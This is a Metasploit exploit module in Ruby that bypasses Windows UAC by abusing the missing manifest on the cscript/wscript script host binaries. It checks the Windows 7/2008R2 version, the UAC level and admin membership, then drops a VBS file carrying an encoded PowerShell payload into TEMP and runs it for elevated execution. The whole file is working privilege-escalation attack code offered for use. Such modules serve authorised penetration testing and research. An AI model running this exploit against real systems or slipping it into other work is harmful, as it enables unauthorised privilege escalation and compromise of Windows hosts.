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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Exploit::FileDropper
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  include Exploit::Powershell
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  include Post::File
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  include Post::Windows::Priv
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  include Post::Windows::Runas
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
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        'Description' => %q{
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          This module will bypass Windows UAC by utilizing the missing .manifest on the script host
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          cscript/wscript.exe binaries.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Vozzie',
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          'Ben Campbell'
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        ],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Targets' => [
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          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
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        ],
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        'DefaultTarget' => 0,
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        'References' => [
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          ['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'],
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          ['URL', 'https://github.com/Vozzie/uacscript']
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        ],
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        'DisclosureDate' => '2015-08-22',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    # Validate that we can actually do things before we bother
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    # doing any more work
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    validate_environment!
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    check_permissions!
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    # get all required environment variables in one shot instead. This
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    # is a better approach because we don't constantly make calls through
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    # the session to get the variables.
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    env_vars = get_envs('TEMP', 'WINDIR')
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    case get_uac_level
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    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
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        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
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        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
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      fail_with(Failure::NotVulnerable,
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                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
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    when UAC_DEFAULT
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      print_good('UAC is set to Default')
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      print_good('BypassUAC can bypass this setting, continuing...')
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    when UAC_NO_PROMPT
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      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
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      shell_execute_exe
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      return
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    end
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    vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"
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    upload_vbs(vbs_filepath)
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    cmd_exec("cscript.exe //B #{vbs_filepath}")
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  end
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  def check_permissions!
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    # Check if you are an admin
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    vprint_status('Checking admin status...')
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    admin_group = is_in_admin_group?
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    if admin_group.nil?
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      print_error('Either whoami is not there or failed to execute')
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      print_error('Continuing under assumption you already checked...')
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    elsif admin_group
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      print_good('Part of Administrators group! Continuing...')
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    else
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      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
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    end
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    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
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      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
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    end
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  end
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  def upload_vbs(payload_filepath)
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    vbs = File.read(File.join(Msf::Config.data_directory,
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                              'exploits',
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                              'scripthost_uac_bypass',
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                              'bypass.vbs'))
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    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
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    vbs.gsub!('COMMAND', command)
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    print_status('Uploading the Payload VBS to the filesystem...')
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    begin
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      vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..")
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      write_file(payload_filepath, vbs)
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      register_file_for_cleanup(payload_filepath)
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    rescue Rex::Post::Meterpreter::RequestError => e
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      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
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    end
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  end
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  def validate_environment!
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    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
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    version = get_version_info
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    if version.win7_or_2008r2?
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      print_good("#{version.product_name} may be vulnerable.")
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    else
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      fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
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    end
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    if is_uac_enabled?
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      print_status('UAC is Enabled, checking level...')
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    else
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      unless is_in_admin_group?
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        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
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      end
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    end
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  end
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end
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